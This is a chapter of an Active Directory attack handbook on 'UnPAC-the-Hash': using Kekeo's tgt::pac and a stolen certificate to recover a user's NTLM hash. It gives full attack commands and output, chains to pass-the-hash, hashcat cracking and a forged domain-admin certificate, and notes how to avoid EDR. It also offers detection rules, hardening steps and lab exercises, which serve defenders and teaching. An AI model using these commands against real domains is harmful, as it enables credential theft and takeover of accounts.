Appearance
Chapter 35: PKI - PAC NTLM (Extracting NTLM from Certificates)
Introduction
In the quest for a more secure domain, many organizations move to certificates and smart cards, thinking they've finally left the weaknesses of NTLM behind. But Microsoft has a long memory when it comes to backward compatibility. If you log in with a certificate (PKINIT), you don't provide a password, which means you don't have an NTLM hash. This breaks access to legacy file shares and old applications. To fix this, Microsoft added a "compatibility bridge": a way for a certificate-authenticated user to get their NTLM hash back from the domain controller.
In my experience, this is one of the most elegant "Identity Transformation" attacks. I call it "UnPAC-the-Hash" because we're unpacking the NTLM hash from the Privilege Attribute Certificate (PAC). By using a specialized User-to-User (U2U) request, we can tell the Domain Controller, "I logged in with a certificate, but I need to talk to an old NTLM server. Please give me my hash." The DC complies by embedding the NTLM hash in a special structure called PAC_CREDENTIAL_INFO.
What makes this technique operationally significant is that it allows you to obtain a user's NTLM hash without ever touching LSASS. No memory scanning, no credential dumping—just legitimate Kerberos protocol traffic. The hash comes encrypted in a Kerberos ticket, delivered by the domain controller itself. In this chapter, we're going to examine how Kekeo's tgt::pac command automates this entire flow, the protocol-level details that make it work, and the detection signatures that defenders can use to spot it.

Technical Foundation: The Compatibility Bridge
The Problem: Passwordless vs. Legacy
When you use a smart card or certificate for authentication, the domain controller validates your certificate and hands you a TGT. But there's no password involved in this process. Your workstation never sees or stores your NTLM hash because there was no password to hash.
This creates a problem: what happens when you try to access a legacy system that only speaks NTLM? SMB file shares on older servers, third-party applications, network appliances—countless systems still require NTLM authentication. Without your hash, you can't authenticate to them.
The Microsoft Solution: NTLM Supplemental Credential
Microsoft's solution was to extend Kerberos to provide backward compatibility. When a user authenticates with PKINIT and later needs to access an NTLM-only resource, Windows can request a special service ticket that contains the user's NTLM hash in its PAC structure.
The Flow:
| Step | Protocol | Description |
|---|---|---|
| 1 | AS-REQ (PKINIT) | User authenticates to KDC with certificate |
| 2 | AS-REP | KDC returns TGT encrypted with user's session key |
| 3 | TGS-REQ (U2U) | User requests service ticket for themselves with ENC-TKT-IN-SKEY |
| 4 | TGS-REP (with PAC) | KDC returns ticket containing PAC_CREDENTIAL_INFO with NTLM hash |
User-to-User (U2U) Authentication
U2U is a Kerberos extension (RFC 4120 Section 3.7) that allows a client to request a service ticket encrypted with another user's TGT session key instead of the service's long-term key. In our case, we request a service ticket for ourselves.
Key Elements:
| Element | Value | Purpose |
|---|---|---|
ENC-TKT-IN-SKEY flag | 0x00000040 | Indicates U2U request |
| Service Name | User's own principal | Self-targeted ticket request |
| Additional-ticket | User's TGT | Provides session key for encryption |
When the KDC receives a U2U request with the ENC-TKT-IN-SKEY flag set and the service name matching the requester, it includes the PAC_CREDENTIAL_INFO structure containing the NTLM hash.
PAC_CREDENTIAL_INFO Structure
The NTLM hash is embedded in the PAC inside a structure called PAC_CREDENTIAL_INFO. This structure contains encrypted supplemental credentials.
Structure Layout:
PAC_CREDENTIAL_INFO ::= SEQUENCE {
Version : ULONG (0)
EncryptionType : ULONG (0x17 = RC4-HMAC or 0x12 = AES256-CTS)
SerializedData : OCTET STRING (Encrypted NTLM_SUPPLEMENTAL_CREDENTIAL)
}
NTLM_SUPPLEMENTAL_CREDENTIAL ::= SEQUENCE {
Version : ULONG (0)
Flags : ULONG
LmPassword : OCTET STRING[16] (usually zeros)
NtPassword : OCTET STRING[16] (the NTLM hash we want)
}The SerializedData is encrypted with the user's Kerberos session key. Once decrypted, we have direct access to the NT hash.
Why This Works
The entire mechanism exists for legitimate backward compatibility. Microsoft couldn't break NTLM-dependent applications when introducing smart card logon. The assumption was that only the legitimate user (who proved their identity with a certificate) would ever make this request. What Microsoft didn't anticipate was that attackers who steal certificates can also use this "feature."
Command Reference
tgt::pac - The NTLM Extractor
Kekeo's tgt::pac command automates the entire UnPAC-the-Hash flow in a single command. It performs PKINIT authentication, makes the U2U request, and decrypts the PAC to extract the NTLM hash.
Parameters for tgt::pac:
| Parameter | Description |
|---|---|
/subject:<UPN> | Subject or User Principal Name of the certificate to use |
/pfx:<file> | Path to PFX file containing certificate and private key |
/pfxpassword:<pass> | Password for the PFX file (if protected) |
/pin:<PIN> | Smart card PIN (if using hardware token) |
/cred | Only show NTLM credential in PAC (clean output) |
/kdc:<FQDN> | Specific KDC to target (auto-detected if omitted) |
/domain:<FQDN> | Target domain FQDN |
/castore:<store> | CA store if using local certificate |
/caname:<name> | CA name if using local certificate |
/systemstore:<store> | System store location (default: CURRENT_USER) |
/store:<name> | Certificate store name (default: My) |
/dh | Use Diffie-Hellman parameters for PKINIT request |
Basic Usage - Extract NTLM from PFX:
kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx /cred
Full Output Example:
kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx
Realm : acmelabs.pvt (acmelabs)
User : bthomas@acmelabs.pvt (bthomas)
CName : bthomas@acmelabs.pvt [KRB_NT_ENTERPRISE_PRINCIPAL (10)]
SName : krbtgt/acmelabs.pvt [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : RSA
[kdc] name: SDDC01.acmelabs.pvt (auto)
[kdc] addr: 10.1.1.4 (auto)
[0] NTLM
NTLM: 7a118f7a2f2b34d61fa19b840b4f5203
With /cred Flag (Clean Output):
kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx /cred
[0] NTLM
NTLM: 7a118f7a2f2b34d61fa19b840b4f5203
Using Smart Card:
kekeo # tgt::pac /subject:cperez@acmelabs.pvt /pin:12345678 /credUsing Certificate from Store:
kekeo # tgt::pac /subject:administrator@acmelabs.pvt /systemstore:CURRENT_USER /store:My /credTargeting Specific KDC:
kekeo # tgt::pac /subject:alice@corp.acme.com /pfx:alice.pfx /kdc:DC01.corp.acme.com /credRelated Commands
tgt::ask - Alternative Approach
While tgt::pac is purpose-built for NTLM extraction, you can also use tgt::ask to get a TGT and then manually extract the PAC.
Parameters for tgt::ask (relevant subset):
| Parameter | Description |
|---|---|
/subject:<UPN> | UPN of certificate to use |
/pfx:<file> | PFX file path |
/pfxpassword:<pass> | PFX password |
/ptt | Pass the ticket (inject into session) |
Example:
kekeo # tgt::ask /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx /pttThis gives you a TGT but doesn't automatically extract the NTLM hash. Use tgt::pac for that purpose.
Attack Scenarios
Scenario 1: The Certificate-to-Hash Pipeline
This is the core use case: you have a stolen certificate and want the user's NTLM hash without touching LSASS.
Step 1 - Obtain Certificate (from Chapter 37):
mimikatz # crypto::capi
mimikatz # crypto::certificates /exportStep 2 - Extract NTLM Hash:
kekeo # tgt::pac /subject:bthomas@acmelabs.pvt /pfx:bthomas.pfx /cred
[0] NTLM
NTLM: 7a118f7a2f2b34d61fa19b840b4f5203Step 3 - Pass-the-Hash:
mimikatz # sekurlsa::pth /user:bthomas /domain:acmelabs.pvt /ntlm:7a118f7a2f2b34d61fa19b840b4f5203 /run:cmd.exeNow you have a shell running as bthomas, authenticated via NTLM, using a hash extracted from their certificate.
Scenario 2: Offline Password Cracking
Because tgt::pac gives you the raw NTLM hash, you can crack it offline. This is valuable when you need the plaintext password (for VPNs, web apps, or personal accounts with password reuse).
Step 1 - Extract Multiple Hashes:
bash
# For each stolen certificate
kekeo # tgt::pac /subject:alice@corp.acme.com /pfx:alice.pfx /cred >> hashes.txt
kekeo # tgt::pac /subject:bob@corp.acme.com /pfx:bob.pfx /cred >> hashes.txt
kekeo # tgt::pac /subject:charlie@corp.acme.com /pfx:charlie.pfx /cred >> hashes.txtStep 2 - Format for Hashcat:
bash
# Convert to username:hash format
alice:aad3b435b51404eeaad3b435b51404ee:7a118f7a2f2b34d61fa19b840b4f5203Step 3 - Crack:
bash
hashcat -m 1000 hashes.txt rockyou.txtScenario 3: Smart Card PIN Extraction Follow-up
If you've extracted a smart card PIN from LSASS (Chapter 39), you can use the physical card to get the NTLM hash.
Workflow:
- Extract PIN from LSASS:
sekurlsa::kerberos - Use PIN with
tgt::pac:
kekeo # tgt::pac /subject:cperez@acmelabs.pvt /pin:12345678 /credScenario 4: Domain Admin Hash via Golden Certificate
Combine with the Golden Certificate attack (Chapter 36) for maximum impact.
Step 1 - Forge DA Certificate:
mimikatz # crypto::scauth /caname:LabRootCA1 /upn:administrator@acmelabs.pvt /pfx:da_forged.pfx /crldp:...Step 2 - Extract DA NTLM Hash:
kekeo # tgt::pac /subject:administrator@acmelabs.pvt /pfx:da_forged.pfx /cred
[0] NTLM
NTLM: fc525c9683e8fe067095ba2ddc971889Now you have the Domain Admin's NTLM hash without ever logging into the domain as DA or touching a DC's LSASS.
Scenario 5: Lateral Movement Without LSASS
This technique is particularly valuable when EDR is aggressively monitoring LSASS access.
Traditional Approach (noisy):
mimikatz # sekurlsa::logonpasswords
# Triggers EDR alerts for LSASS accessUnPAC-the-Hash Approach (quieter):
# Steal certificate (various methods)
# Extract hash remotely
kekeo # tgt::pac /subject:target@domain.com /pfx:target.pfx /cred
# No LSASS access requiredDetection - The SOC View
Kerberos Event Correlation
The UnPAC-the-Hash attack has a distinctive two-step pattern in the Windows Security log.
Step 1 - PKINIT Authentication (Event ID 4768):
| Field | Value | Significance |
|---|---|---|
| Event ID | 4768 | TGT Request |
| PreAuthType | 16 | PKINIT (certificate-based) |
| CertIssuerName | CA DN | Issuing CA |
| CertSerialNumber | Hex | Certificate serial |
| IpAddress | Client IP | Source of request |
Step 2 - U2U Request (Event ID 4769):
| Field | Value | Significance |
|---|---|---|
| Event ID | 4769 | Service Ticket Request |
| ServiceName | Same as Account | Self-targeted request |
| TicketOptions | 0x40810000 | Contains ENC-TKT-IN-SKEY (0x40) |
| TicketEncryptionType | 0x12 or 0x17 | AES or RC4 |
Detection Logic
Rule: PKINIT followed by Self-Targeted U2U
Event 4768 (PreAuthType = 16)
FOLLOWED BY (within 5 seconds)
Event 4769 (ServiceName = AccountName AND TicketOptions contains 0x40)
WHERE Source IP is identicalSpecific Indicators
ENC-TKT-IN-SKEY Flag: The
0x40flag in TicketOptions is the protocol-level indicator of U2U. While U2U has legitimate uses, self-targeted U2U after PKINIT is highly suspicious.Timing: Legitimate U2U requests for backward compatibility happen organically during user workflows.
tgt::pacgenerates the request immediately after PKINIT.Source Process: If you have endpoint telemetry, look for
kekeo.exeor processes making Kerberos requests shortly after loading PFX files.
Network Detection
- Kerberos Traffic Analysis: The TGS-REQ with U2U flag set has a distinctive structure. IDS rules can flag AS-REQ (PKINIT) followed immediately by TGS-REQ (U2U) from the same source.
Baseline Anomalies
User Behavior: Build a baseline of which users authenticate with certificates. If a user who normally uses password auth suddenly appears with PKINIT, investigate.
Certificate Usage Patterns: Track which certificates are used for authentication. A certificate being used from an unexpected IP or machine is suspicious.
Defensive Strategies
Add Sensitive Accounts to Protected Users Group: This is the definitive defense. Members of the Protected Users group cannot use NTLM authentication. Because of this, the KDC will not populate the
PAC_CREDENTIAL_INFOstructure for them. The attack fails with an error.powershellAdd-ADGroupMember -Identity "Protected Users" -Members "administrator", "krbtgt", "domain admins"Disable NTLM Domain-Wide: If your environment doesn't require NTLM, disable it entirely via Group Policy. Without NTLM, there's no need for the compatibility bridge.
Policy Path:
Computer Configuration > Windows Settings > Security Settings > Local Policies > Security OptionsSetting Value Network security: Restrict NTLM: Incoming NTLM traffic Deny all accounts Network security: Restrict NTLM: Outgoing NTLM traffic Deny all Short Certificate Lifetimes: Reduce the validity period of user certificates. A stolen certificate with a 90-day lifetime is less valuable than one valid for a year.
Monitor Certificate Enrollment: Track who requests certificates and from where. Unusual enrollment patterns may indicate certificate theft preparation.
Enable Advanced Audit Policies: Ensure Kerberos authentication events (4768, 4769) include full details:
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enableImplement Certificate Revocation Monitoring: If a certificate is suspected compromised, revoke it immediately. Monitor CRL checks for revoked certificates being presented.
Use Credential Guard on Sensitive Systems: While Credential Guard doesn't prevent this specific attack, it protects against the certificate theft that precedes it.
Segment Smart Card Users: Create separate OUs and policies for smart card users. Apply additional monitoring and restrictions to these accounts.
NTLM Extraction Methods Comparison
| Method | Requires | Touches LSASS | Network Traffic | Detection Difficulty |
|---|---|---|---|---|
| tgt::pac (UnPAC-the-Hash) | Certificate + private key | No | Kerberos AS/TGS | Medium (U2U correlation) |
| sekurlsa::logonpasswords | Local admin + SeDebugPrivilege | Yes | None | Low (LSASS access alerts) |
| DCSync | Replication rights | No | RPC/DRSUAPI | Low (replication monitoring) |
| NTDS.dit extraction | Domain admin | No | None (offline) | Medium (file access) |
| Kerberoasting | Domain user | No | Kerberos TGS | Medium (RC4 TGS requests) |
| AS-REP Roasting | Domain user | No | Kerberos AS | Low (pre-auth disabled accounts) |
Operational Considerations
Certificate Acquisition: The attack requires a valid certificate with private key. Methods include:
crypto::certificates /exportfrom compromised workstations- DPAPI blob decryption for exported PFX files
- Smart card PIN extraction + physical card access
Protected Users Detection: Before running
tgt::pac, check if the target is in Protected Users:powershellGet-ADGroupMember "Protected Users" | Select-Object NameIf they are, the attack will fail with a KDC error.
Error Handling: Common errors and causes:
Error Cause KDC_ERR_POLICYUser in Protected Users group KDC_ERR_CLIENT_REVOKEDCertificate revoked KDC_ERR_CERTIFICATE_MISMATCHUPN doesn't match certificate KDC_ERR_PREAUTH_FAILEDInvalid certificate or key PFX Password Handling: If the PFX has a password, you must provide it:
kekeo # tgt::pac /subject:user@domain.com /pfx:user.pfx /pfxpassword:P@ssw0rd /credNetwork Considerations: The attack requires network access to a domain controller on port 88 (Kerberos). Ensure your attack machine can reach the KDC.
Timestamp Considerations: Unlike PKIMustiness (Chapter 38), the U2U request doesn't have strict time constraints. It uses real-time communication with the KDC.
Multiple Domain Support: When targeting users in child domains or trusted domains, specify the KDC explicitly:
kekeo # tgt::pac /subject:user@child.domain.com /pfx:user.pfx /kdc:DC01.child.domain.com /credHash Format: The extracted hash is the raw NT hash (16 bytes, 32 hex characters). It can be used directly with Pass-the-Hash tools or formatted for cracking.
Practical Lab Exercises
The Basic Extraction: In your lab, export a user's certificate to PFX using Mimikatz. Use Kekeo's
tgt::pacwith the/credflag to extract the NTLM hash.The Verification: Take the extracted hash and use Mimikatz's
sekurlsa::pthto spawn a process as that user. Access a network resource to confirm the hash works.The Protected Users Test: Add your test user to the "Protected Users" group. Wait for replication (or force it with
repadmin /syncall). Trytgt::pacagain and document the error message.The Event Hunt: After running
tgt::pac, go to your domain controller's Security log. Find the Event ID 4768 (PKINIT) and the Event ID 4769 (U2U). Note the TicketOptions value and confirm the0x40flag is present.The Detection Rule: Write a SIEM correlation rule that alerts when Event 4768 with PreAuthType 16 is followed by Event 4769 with TicketOptions containing 0x40, where ServiceName equals AccountName.
The Comparison: Extract the same user's hash using both
tgt::pacandsekurlsa::logonpasswords. Compare the results to confirm they're identical.The Smart Card Test (if available): If you have a smart card with the user's certificate, use
tgt::pac /pin:to extract the hash directly from the hardware token.The Audit Trail: Enable advanced Kerberos auditing and run the attack again. Document all events generated and their timestamps for incident response training.
Summary
The UnPAC-the-Hash technique exploits Microsoft's backward compatibility bridge between certificates and NTLM.
- PAC_CREDENTIAL_INFO is the structure within Kerberos tickets that contains the encrypted NTLM hash.
- U2U (User-to-User) authentication with the
ENC-TKT-IN-SKEYflag triggers the KDC to include the hash. tgt::pacautomates the entire flow: PKINIT authentication, U2U request, PAC decryption, and hash extraction.- No LSASS access is required, making this technique valuable against EDR-protected environments.
- Detection relies on correlating PKINIT (Event 4768) with self-targeted U2U requests (Event 4769 with 0x40 flag).
- Protected Users group membership is the definitive defense—the KDC won't populate PAC_CREDENTIAL_INFO for these accounts.
- Certificate theft is the prerequisite; protecting certificates protects against this attack.
- Offline cracking is possible because you receive the raw NTLM hash.
Next: Chapter 36: PKI - Abusing Certificate AuthoritiesPrevious: Chapter 34: PKI - PKINIT
